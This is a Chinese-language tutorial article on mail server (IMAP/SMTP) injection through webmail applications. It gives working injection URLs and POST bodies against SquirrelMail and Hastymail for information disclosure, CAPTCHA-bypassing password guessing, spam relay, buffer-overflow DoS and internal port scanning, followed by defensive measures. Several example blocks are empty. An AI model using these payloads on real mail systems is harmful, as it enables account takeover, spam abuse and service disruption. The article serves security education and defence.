扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
一、Webmail应用程序的角色
Webmail应用程序通过IMAP和SMTP协议来管理用户和他们的电子邮件之间的交互。从这一点来说,Webmail应用充当了客户应用程序和邮件服务器之间的代理角色。这个交互过程首先通过webmail应用程序来发送用户的身份凭证(注册号和口令)。此时,如果IMAP服务器支持使用“login”认证方式的话,那么Webmail应用程序会向IMAP服务器发送如下所示的命令:
AUTH LOGIN
同样,这个应用程序还会将用户的各种动作(如访问邮箱、发送/删除电子邮件、退出邮箱等)转换成相应的IMAP和SMTP命令,然后把这些命令发送给相应的邮件服务器。然而,webmail应用程序的功能有限,所以用户只能生成该应用程序定义的选项所对应的那些IMAP或者SMTP命令。但是,用户却有可能改变被发送给邮件服务器的那些IMAP和SMTP命令。
下面,就让我们来看一下这种技术的工作原理吧!
二、邮件服务器注射技术原理
与广为人知的诸如SQL注射、LDAP注射、SSI注射、XPath注射、CRLF注射等注射技术类似,邮件服务器注射技术也是通过一个对用户提供的数据没有严格检查的webmail应用程序将IMAP命令或者SMTP命令注射到邮件服务器。当通过webmail应用程序使用的后台邮件服务器无法直接经由Internet访问时,邮件服务器注射技术格外有用。
要向邮件服务器注入命令,前提条件是允许用户通过webmail应用程序访问其端口25(SMTP)和143(IMAP)。
邮件服务器注射来利用一个应用程序的攻击者来说,他们相当于直接访问了被防火墙隔离的原始电子邮件服务端口(即绕过了防火墙)。通过利用这种技术,攻击者可以进行各式各样的活动和攻击,至于到底能做哪些事情,这要取决于被注入命令的服务器的类型。之所以这样说,是因为Webmail应用会把来自用户的请求转换成各种IMAP和SMTP协议命令。下面介绍如何利用这两种协议。
在进行IMAP注射时,注入的命令最终是由IMAP服务器执行的,所以命令必须遵循这个协议的格式和规范。Webmail应用程序为了完成客户请求的操作,必须跟IMAP服务器进行通信,这正是它们容易遭受这种攻击的原因。在用户验证身份的时候,webmail应用程序将用户的凭证传送到IMAP服务器,因此,利用IMAP服务器的验证机制,无需在该应用程序中具有一个有效帐户就能够进行IMAP注射。注入IMAP命令之前,用户必须找出跟邮件服务器通信时所用的所有参数,并弄清楚这些参数跟应用程序的功能的关系,如:
◆认证/登录/退出
◆邮箱操作(显示、阅读、创建、删除、重命名)
◆消息操作(阅读、复制、移动、删除)
现在让我们看一个利用消息阅读功能来进行IMAP注射的例子。假定webmail应用程序使用参数“message_id”来存放用户想要阅读的消息的标识符。当一个包含消息标识符的请求发出时,该请求看起来像下面的样子:
http:// |
假如网页“read_email.php”负责显示有关消息,它直接把请求发给IMAP服务器,而不对用户提供的值
FETCH |
在这种情况下,我们就可以通过应用程序用来与邮件服务器通信的参数“message_id”来发动IMAP注射攻击。例如,可以利用下列命令来注入IMAP命令“CAPABILITY”:
http:// BODY[HEADER]%0d%0aZ900 CAPABILITY%0d%0aZ901 FETCH 1 |
这将导致服务器执行下列IMAP命令:
|
所以该服务器返回的页面显示的是在IMAP服务器中的“CAPABILITY”命令的结果:
|
三、SMTP注射
这里,我们要向SMTP服务器注射命令,所以注入的命令必须遵循SMTP协议。由于这些活动是使用SMTP协议的应用程序所允许的,所以我们基本上就是去模仿发送电子邮件。要利用SMTP注射,用户必须事先通过认证,所以用户必须有一个有效的webmail帐户。
通过SMTP发送电子邮件消息的格式如下:
◆发送方的e-mail地址下面是一个通过存放消息主题的参数来进行SMTP注射的例子。
如前所述,这种技术的使用要求用户是经过认证的,并且可以针对发送电子邮件时的webmail参数进行SMTP命令注射。一般的,webmail应用程序会提供给用户一个表单,用户必须在表单中提供必要信息,这些信息将被发送给负责创建发送电子邮件所必需的原始SMTP命令的资源。
发送电子邮件的请求一般如下所示:
|
这将导致SMTP服务器执行下列命令:
|
如果webmail应用程序没有对参数“subject”中的值进行必要的验证,那么攻击者可以在其中注入额外的SMTP命令:
|
上面注入的命令将生成一个将被发送给邮件服务器的SMTP命令序列,其中包含MAIL FROM、RCPT TO和DATA等命令,如下所示:
|
四、邮件服务器注射的优势
对于邮件函数的注射之前人们就讨论过,但说得最多的还是PHP的mail()函数中的CRLF注射。然而,这些文章直到现在仅对某些部位进行注射,如email头部注射等。这种类型的注射允许一个人进行各种的操作(发送匿名电子邮件、垃圾邮件/转发等等)。实际上,使用邮件服务器注射技术也能达到这些目的,因为它们都是基于同种类型的弱点。与之相比,邮件服务器注射技术的过人之处是能向受影响的邮件服务器注射所有命令,而没有任何限制。就是说,这种利用技术不仅允许对电子邮件头部进行注入(“From :”、“Subject :”、“To :”等),而且还可以向跟webmail应用程序通信的邮件服务器(IMAP/SMTP)注入任意的命令。
邮件服务器注射远胜过对webmail应用程序提供的功能的“简单”滥用,例如发送大量电子邮件等。这种技术允许人们执行webmail应用程序提供的常规动作之外的额外的动作,如通过IMAP命令引起邮件服务器的缓冲区溢出等。对于渗透测试人员来说,注入任意的命令是他们梦寐以求的,因为这在某些情况下可以完全控制邮件服务器,以便对其各种弱点进行测试。
五、发动攻击
下面我们用实例来解释不同类型的邮件服务器攻击方法,以及邮件服务器注射技术示例。这样的实例曾发生在SquirrelMail(1.2.7和1.4.5版本)和Hastymail(1.0.2和1.5版本)这两种Webmail应用程序上。因为SquirrelMail团队已经废止了SquirrelMail的1.2.7版本,而推荐的最低版本为1.4.6,因为之前的版本都有弱点。Hastymail在1.5之前的所有版本都容易受到SMTP和IMAP注射的影响,所以要经常检查最新的补丁。SquirrelMail和Hastymail团队在收到这些问题的通知后,都迅速进行了修正。不久之后,Nessus发布了一个检查这种弱点的插件。
实施攻击时,必须经过以下两个步骤:
确定出一个有弱点的参数;
了解它的作用范围。
(一)发现有弱点的参数
识别有弱点的参数的方法可以采用其他类型注射所采用的方法:试探法。也就是说,要发送具有异常值(应用程序的非预期值)的请求给原始IMAP和SMTP命令所用到的每个可疑参数,然后分析其行为,从而找出可以利用的参数。下面举例说明。
当用户要访问SquirrelMail中的收件箱(INBOX)时,所用的请求如下所示:
http: // PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX 如果用户用下列方式修改参数“mailbox”的值: http:// PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX%22 那么应用程序就会返回一个如下所示的错误信息: ERROR : Bad or malformed request. Query: SELECT "INBOX"" Server responded: Unexpected extra arguments to Select |
显然,这不是该应用程序所期望的正常行为。此外,该消息显示IMAP命令“SELECT”正在被执行。利用这个方法,我们可以推断出参数“mailbox”具有邮件服务器注射漏洞,准确来说是容易受到IMAP注射的攻击。在其他情况下,有弱点的参数的检测和利用没有这么明显。例如,当用户访问它们的Hastymail收件箱时,相应的请求如下所示:
http:// 7944bf5a2e616484769472002f8c1&mailbox=INBOX 如果用户用下列方式修改参数“mailbox”的值: http:// 7944bf5a2e616484769472002f8c1&mailbox=INBOX" 应用程序将回应下列消息: Could not access the following folders: INBOX\" To check for outside changes to the folder list go to the folders page 在此种情况下,添加引号并没有改变应用程序的行为。 结果跟用户已经注入其他任何字符时一样: http:// 7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST 那么应用程序就会返回同样的错误信息: Could not access the following folders: NOTEXIST To check for outside changes to the folder list go to the folders page 如果用户试图注射其它的IMAP命令: http:// 7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST "%0d%0aA0003%20CREATE%20"INBOX.test 那么应用程序就会又返回一个错误信息: Unable to perform the requested action Hastymail said:: A0003 SELECT "INBOX" And the IMAP server said:: A0003 NO Invalid mailbox name. |
乍一看,好像是IMAP注射无法进行。然而,通过使用引号的一种变化形式,我们能够达到目的。下一个例子使用引号的双字符编码形式即%2522,来替换上面的单字符形式:
http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox= NOTEXIST%2522%0d%0aA0003%20CREATE%20%2522INBOX.test |
在此种情况下,应用程序不仅不会返回任何错误信息,而且还会在收件箱创建文件夹“test”。其它的滥用情形:
◆给参数一个空值,例如“mailbox= ”。
◆用不存在的邮箱的名称来替换某些值,例如“mailbox=NotExists”。
◆给参数添加其它的值,例如“mailbox=INBOX PARAMETER2”
◆添加其它的非标准字符,例如\, ?, @, #, !, |, \n。
◆添加CRLF序列,例如“mailbox=INBOX%0d%0a”。
(二)作用域
一旦检测到了有弱点的参数(IMAP或者SMTP命令),必须了解它的作用范围。换句话说,我们需要了解要攻击的命令,以便提供适当的参数来注入我们的IMAP/SMTP命令。
为能够成功使用邮件服务器注射技术,先前的命令必须用CRLF(“%0d%0a”)结束。通过这种方式,该序列用于隔离命令。如果用户能注入一个命令并看到了返回的(由邮件服务器产生的)错误信息,那么他们必须进一步了解完成的操作的作用域,这可能像查看他们的内容那么简单。下面举例说明。
当用户读取在SquirrelMail中的电子邮件时,将发出下列请求:
http:// |
用户可以在这里发现如下事实:执行的IMAP命令是“FETCH”,以及它使用的各个参数。现在,我们已经找到了有弱点的参数并知道了正在被执行命令,所以用户已经具有足够的信息来注入额外的命令了:
http:///src/read_body.php?mailbox=INBOX&passed_id=1 BODY [HEADER]%0d%0aZ900 RENAME INBOX ENTRADA%0d%0aZ910 FETCH 1&startMessaGe=1&show_more=0 |
这个请求将在服务器上执行以下IMAP命令:
FETCH 1 BODY[HEADER] Z900 RENAME INBOX ENTRADA Z910 FETCH 1 BODY[1] |
如果用户不能查看错误信息(即处于“盲注射”情形),那么有关该操作的信息将摘自用户请求的操作类型。例如,如果注射通过称为“password”的认证表单的参数来完成的,那么要执行的IMAP命令将是:
AUTH LOGIN
如果注射是通过请求的参数“mailbox”来发动的话,那么IMAP命令的执行情况如下所示:
LIST "
(三)信息泄漏
采用的技术:IMAP注射
用户认证要求:无
利用IMAP注射可以获得利用其它方法无法获取的IMAP服务器方面的信息。如果用户能将命令“CAPABILITY”注入到参数“mailbox”之中:
http:// CAPABILITY%0d%0aZ910 SELECT "INBOX&passed_id= 1&startMessage=1&show_more=0 CAPABILITY命令的响应显示了一列服务器支持的功能名称, 这些名称由逗号进行间隔。下面我们看一个例子: * CAPABILITY IMAP4 IMAP4rev1 UIDPLUS IDLE LOGIN-REFERRALS NAMESPACE QUOTA CHILDREN Z900 OK capabilities listed * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE LISTEXT LIST-SUBSCRIBED ANNOTATEMORE X-NETSCAPE Z900 OK Completed * CAPABILITY IMAP4rev1 STARTTLS AUTH=GSSAPI XPIG-LATIN Z900 OK Completed |
利用该命令,用户可以探测服务器支持的不同认证方式(响应“AUTH=”),禁止的登录命令(LOGINDISABLED),添加的支持扩展和IMAP协议的修正等。
由于CAPABILITY命令无需认证就可以执行,所以在发现一个参数具有IMAP注射漏洞的情况下,总能执行该命令。
(四)绕过CAPTCHA
采用的技术:IMAP注射
用户认证要求:无
利用CAPTCHA查找Web应用非常流行,目标很明显:防止对某些特定的进程实施自动化的攻击。例如,用户注册表单中的CAPTCHA用来阻止一个robot记录用户帐户,或者防止自动进行用户调查或者口令破解。如果IMAP服务器的验证机制带有IMAP注射漏洞,那么存心不良的用户就可以通过利用CAPTCHA来突破该限制。
首先,假设认证表单中的“password”字段可以注入IMAP命令。如果攻击者想要刺探一个登录名为“victim”、口令为“pwdok”用户的口令,他们可以利用一个字典进行枚举的方法,通过不断发送请求来达到目的。
然后,再假定口令字典有下列词语组成:pwderror1、pwderror2、pwdok和pwderror。这种情况下,用户可以注入以下命令来实施进攻:
http:///src/login.jsp?login=victim&password=%0d%0aZ900 LOGIN victim pwderror1%0d%0aZ910 LOGIN victim pwderror2%0d%0aZ920 LOGIN victim pwdok%0d%0aZ930 LOGIN victim pwderror3 |
它将导致在IMAP服务器(C:客户端的请求,S:服务器的响应)上运行以下命令:
C: Z900 LOGIN victim pwderror1 S: Z900 NO Login failed: authentication failure C: Z910 LOGIN victim pwderror2 S: Z910 NO Login failed: authentication failure C: Z920 LOGIN victim pwdok S: Z920 OK User logged in C: Z930 LOGIN victim pwderror3 S: Z930 BAD Already logged in |
所以,如果受害者的口令正好位于所用字典中的话,当最后一次命令注射结束时,攻击者将会发现他们已经通过认证了。现在,他们已经可以注入和执行只有登录并经过认证的用户才能注入和执行的命令了。
(五)转发
采用的技术:SMTP注射
用户认证要求:有
用户经过webmail应用程序认证后,就能够编辑并发送电子邮件了。假如参数“subject”具有SMTP注射攻击漏洞。在这种情况下,就能够导致邮件服务器的转发攻击,例如以下命令将引起来自外部地址的电子邮件被发送到另外一个外部地址:
POST http:///compose.php HTTP/1.1 ... -----------------------------134475172700422922879687252 Content-Disposition: form-data; name="subject" Relay Example . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA Relay test . -----------------------------134475172700422922879687252 ... 这会导致向服务器发送以下SMTP命令序列: MAIL FROM: RCPT TO: DATA Subject: Relay Example . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA Relay test . ... |
(六)垃圾邮件
采用的技术:SMTP注射
用户认证要求:有
这里介绍的情形跟前面的转发攻击一样。因为攻击者的目标是尽量绕开各种限制,例如,一个用户允许发送的电子邮件数量的上限,所以攻击者向有弱点的参数中注入攻击者想要发送的电子邮件数量所需的命令。通过向web服务器发送一个像下面那样的POST请求,攻击者就能完成许多动作。下面举例说明攻击者如何只用一个简单命令来发送三个电子邮件:
POST http:///compose.php HTTP/1.1 ... -----------------------------134475172700422922879687252 Content-Disposition: form-data; name="subject" SPAM Example . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . -----------------------------134475172700422922879687252 ... 这将引发下列SMTP命令序列: MAIL FROM: RCPT TO: DATA Subject: SPAM Example . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA PAM test . ... |
(七)绕过各种限制
采用的技术:SMTP注射
用户认证要求:有
这里跟前面的转发和垃圾邮件的情形相一致。在此种情况下,通过注入SMTP命令可以绕过施加在应用程序级别上的各种限制。下面通过一些实例加以说明。
绕过允许发送的电子邮件最大数量的限制
假定一个webmail应用程序只允许发送特定数量的电子邮件,也就是对发送次数有所限制。在SMTP注射的帮助下,我们可以轻松地绕过该限制,方法很简单,只要添加跟攻击者想要发送的目的地址一样多的RCPT命令即可:
|
绕过电子邮件附件的最大值
假定一个webmail应用程序限制了一个电子邮件所带附件的数量,那么我们就可以通过注射SMTP命令来绕过此限制。下面是一个例子,这里通过有弱点的参数“subject”来附加三个文本文件:
|
这将导致再次向邮件服务器发送以下SMTP命令:
|
通过利用所有这些技巧,攻击者想发送多少电子邮件就能发多少,想带多少附件就带多少。
(八)协议弱点的利用
如果能够在邮件服务器中执行任意命令的话,那么攻击者就能通过向该服务器发送某个命令来利用现有的漏洞。现在举例说明:
针对邮件服务器的DoS攻击
例如MailMax的版本5中的缓冲区溢出,如果在参数SELECT中使用长达256字符的邮箱名称的话,就会导致在邮件服务器中弹出一则消息:“Buffer overrun detected ! -Program :\IMAPMax.exe ”。这时,服务器会停止,并且必须手动重新启动。
假如webmail的前台页面中的参数“mailbox”具有IMAP注射缺陷的话,可以用下列方式利用这个缺陷(这要求用户是经过认证的):
http:///src/compose.php?mailbox=INBOX%0d%0aZ900 SELECT "aa...[256]...aa" |
在邮件服务器中执行任意代码
另一种可利用的例子是IMAP服务器MailEnable。它在命令STATUS中有一个缓冲区溢出漏洞,这使得可以在IMAP服务器中执行任意代码。假如我们发现了一个可以对其“mailbox”参数进行IMAP注射的webmail应用程序,那么我们就可以利用用下列方式来进行利用(这要求用户已经过认证):
http:///src/compose.php?mailbox=INBOX%0d%0aZ900 STATUS (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)%0d%0a |
扫描内部系统的端口
IMAP服务器UW-IMAP允许任何人利用SELECT命令扫描系统端口,该命令具体形式是:
SELECT " {ip:port} "
下面我们通过一个具体例子来介绍如何利用1.4.2版的SquirrelMail对这个弱点进行利用,我们这里假设参数“mailbox”具有IMAP注射漏洞(这个特殊的弱点要求用户是已经登录的):
1.请求在系统192.168.0.1中一个打开的端口
http:///src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:80} |
这会生成下来消息:
ERROR : Connection dropped by imap-server.
Query: SELECT "{192.168.0.1:80}"
2.请求在系统192.168.0.1中已经关闭的端口(21)
http:///src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:21} |
上面的请求的应答显示了这样一则消息:
ERROR : Could not complete request.
Query: SELECT "{192.168.0.1:21}"
Reason Given: SELECT failed: Connection failed to 192.168.0.1,21: Connection refused
一个存心不良的用户可以从这两个IMAP服务器的应答的差别中推断出所请求的端口的状态。
总之,由于邮件服务器注射技术使得邮件服务器对于攻击者或者渗透测试人员来说成为可见的,所以能够利用常规情况下无法利用的漏洞。从web应用程序安全审计员角度来看,发现和利用这些漏洞的能力是一件难得的利器。
(九)IMAP和SMTP注射之间的比较
下面对IMAP和SMTP注射之间进行一些比较,以便读者更好地了解他们之间的区别。
首先,在是否要求认证方面,IMAP注射不要求事先经过认证;但是SMTP注射却要求经过认证。
其次,在攻击类型方面,IMAP注射可以发动以下类型的攻击:
◆信息泄漏
◆IMAP协议的利用
◆绕过CAPTCHA
◆SMTP注射可以发动以下类型的攻击:
◆信息泄漏
◆SMTP协议的利用
◆转发/垃圾邮件
◆绕过各种限制
六、防御措施
与其它允许用户(攻击者)注入数据的漏洞的防御措施相似,Webmail应用的保护需要运用其开发队伍提供的各种保护措施。但是,为了降低攻击者利用这些类型弱点的可能性,邮件服务器管理员必须采用更恰当的安全措施以实现深度防御。下面,我们介绍一些有效对付这些类型的攻击的措施。
(一)输入数据验证
应用程序用到的所有输入数据,包括非用户直接提供的数据和应用程序内部使用的数据,都必须进行无害化处理,删掉所有可能被恶意使用的字符。在利用数据进行任何操作之前,必须进行合法性检验。如前所述,在执行一个新的IMAP/SMTP命令时,要求前面的命令必须用CRLF结束。为了确保无法注入额外的命令,您可以在将其传递给邮件服务器之前删除输入数据中的这类字符。
(二)IMAP/SMTP服务器的配置
如果只有通过webmail应用程序才能访问邮件服务器的话,这些服务器必须对国际互联网是不可见的。除此之外,还要对这些服务器进一步加固,比如禁用非绝对必要得命令等等。从而使邮件服务器注射攻击的影响降低到最小程度。
(三)应用程序防火墙
如果我们已经用其它的保护系统部署了一个应用程序防火墙,那么可以添加一条规则,来过滤有邮件服务器注射缺陷的参数,从而防止这些命令被注入到邮件服务器中。比如,可以将ModSecurity用作应用程序防火墙。根据前面介绍的SquirrelMail示例,可以添加如下规则:
SecFilterSelective "ARG_mailbox" "\r\n"
这会过滤掉参数“mailbox”中注入的
七、总结
本文通过两种Webmail应用程序,SquirrelMail和Hastymail,详细介绍了对具有邮件服务器注射漏洞的服务器的攻击技术。然而,任何使用SMTP和IMAP协议的应用程序,甚至Webmail应用类型之外的应用程序也都面临这种攻击的威胁。最后,介绍了针对这种攻击的防御措施。